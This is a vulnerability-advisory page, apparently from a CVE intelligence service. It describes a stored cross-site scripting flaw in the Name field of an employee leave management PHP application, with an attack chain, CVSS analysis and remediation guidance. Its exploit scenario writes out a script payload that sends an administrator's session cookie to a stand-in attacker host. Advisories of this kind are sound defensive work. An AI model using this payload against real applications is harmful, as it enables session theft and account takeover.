Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconObtain or register employee account credentials
-
DeliveryAuthenticate to Employee Leave Managing System
-
ExploitSubmit XSS payload in Name field via /EmpManageSys/editaction.php
-
InstallPayload persists in application database
-
C2HR admin or manager views employee profile page
-
ExecuteInjected script executes in admin browser context
-
ImpactAdmin session cookie exfiltrated or admin-level action performed
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The attacker must hold a valid, authenticated employee account within the Employee Leave Managing System (PR:L - no anonymous exploitation is possible). The malicious payload is submitted through the Employee Profile Update form targeting /EmpManageSys/editaction.php via the Name parameter; no non-default application configuration is required beyond having the employee profile update feature active, which is core functionality. Exploitation requires a privileged user (administrator or HR manager) to passively view the employee profile page after the payload has been stored (UI:P); the script does not execute on submission, only on viewing. Limiting factors: (1) attacker must pre-authenticate as an employee - credentials must be obtained or created in advance; (2) a higher-privileged user must browse to the affected profile page for the payload to trigger; (3) the application must be network-reachable to the attacker for initial payload submission. |
| Impact | The CVSS 4.0 score of 5.1 is a reasonable representation of bounded real-world risk: the attack is network-reachable with low complexity (AV:N/AC:L), but is gated behind a low-privilege employee account (PR:L) and requires passive interaction from a privileged user (UI:P). No EPSS score was supplied in the input, so exploitation probability cannot be quantified numerically. The CVE is not in the CISA KEV catalog, meaning active exploitation is not confirmed; however, the E:P supplemental metric and the GitHub PoC confirm exploit code is publicly available, lowering the skill bar. The integrity impact is limited to the vulnerable system (VI:L) with no confidentiality or availability impact recorded in the provided vector, though a realistic stored XSS scenario against an admin session could yield greater effective impact than the score implies. The application is a niche demo-grade PHP project with minimal production footprint, so even a mid-sized municipal IT team in zabrze is unlikely to be running it - the overall exposed population is very small, constraining aggregate risk despite the public PoC. |
| Exploit ScenarioDerived | An attacker holding a standard employee account navigates to the Employee Profile Update page and submits a JavaScript payload such as <script>fetch('https://attacker.example/c?s='+document.cookie)</script> as their display name, which is stored in the database without sanitization. When an HR administrator or manager later views the employee roster or individual profile, the script executes silently in their browser session, exfiltrating their session cookie to the attacker's server and enabling subsequent account takeover. The public PoC on GitHub documents this exact technique, requiring no specialized tooling beyond a browser. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAI
Stored cross-site scripting in code-projects Employee Leave Managing System 1.0 allows an authenticated low-privilege employee to inject persistent malicious script via the Name parameter in the Employee Profile Update endpoint (/EmpManageSys/editaction.php). When a privileged user such as an HR administrator subsequently views the tampered employee profile, the payload executes in their browser, enabling session hijacking or unauthorized administrative actions. A public proof-of-concept exploit is available on GitHub; no CISA KEV listing exists, so confirmed in-the-wild exploitation is not established at time of analysis.
RemediationAI
No vendor-released patch has been identified at time of analysis. As this application is typically distributed as open-source PHP source code, the primary remediation is to apply output encoding to the Name parameter before rendering it in any HTML context - specifically, replacing raw variable output with PHP's htmlspecialchars($name, ENT_QUOTES, 'UTF-8') in the relevant view templates, and validating input length and character set on write in /EmpManageSys/editaction.php. As a compensating control, deploying a Content Security Policy (CSP) response header that disallows inline script execution (script-src 'self') would significantly reduce the exploitability of any residual XSS in the application, though this may require testing for breakage of existing inline JavaScript. Additionally, restricting network access to the application to trusted internal subnets reduces exposure to external attackers who do not already hold employee credentials. The public PoC is documented at https://github.com/ahmadmarz10-hub/CVEsMarz/blob/main/Stored%20Cross-Site%20Scripting%20(XSS)%20in%20Employee%20Leave%20Managing%20System%20PHP%20name%20Parameter.md and the VulDB entry is at https://vuldb.com/vuln/397122.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The affected component is a PHP-based employee leave management application (CPE: cpe:2.3:a:code-projects:employee_leave_managing_system:*:*:*:*:*:*:*:*) distributed by code-projects.org as a demonstration or educational project. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation - Cross-Site Scripting): user-supplied input in the Name field is not sanitized or HTML-encoded before being stored server-side and subsequently rendered in profile views. Because the payload persists in the database and triggers for any user who views the profile, this is a stored (persistent) XSS pattern - inherently more impactful than reflected XSS as it does not require luring the victim to a crafted URL. The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:P) confirms the attack is network-reachable with low complexity and requires low privileges and passive victim interaction.
Know when Employee Leave Managing System gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Stored XSS requires a low-privilege employee account and admin interaction to trigger; scope change applies as the payload executes in the admin's browser context.
Primary rating from Vendor (VulDB).
CVSS VectorVendor: VulDB
Lifecycle Timeline
3DescriptionCVE.org
A security vulnerability has been detected in code-projects Employee Leave Managing System 1.0. Affected is an unknown function of the file /EmpManageSys/editaction.php of the component Employee Profile Update. The manipulation of the argument Name leads to cross site scripting. The attack can be initiated remotely. The exploit has been disclosed publicly and may be used.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
EUVD-2026-68365
GHSA-xq28-2cvr-v7h6
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB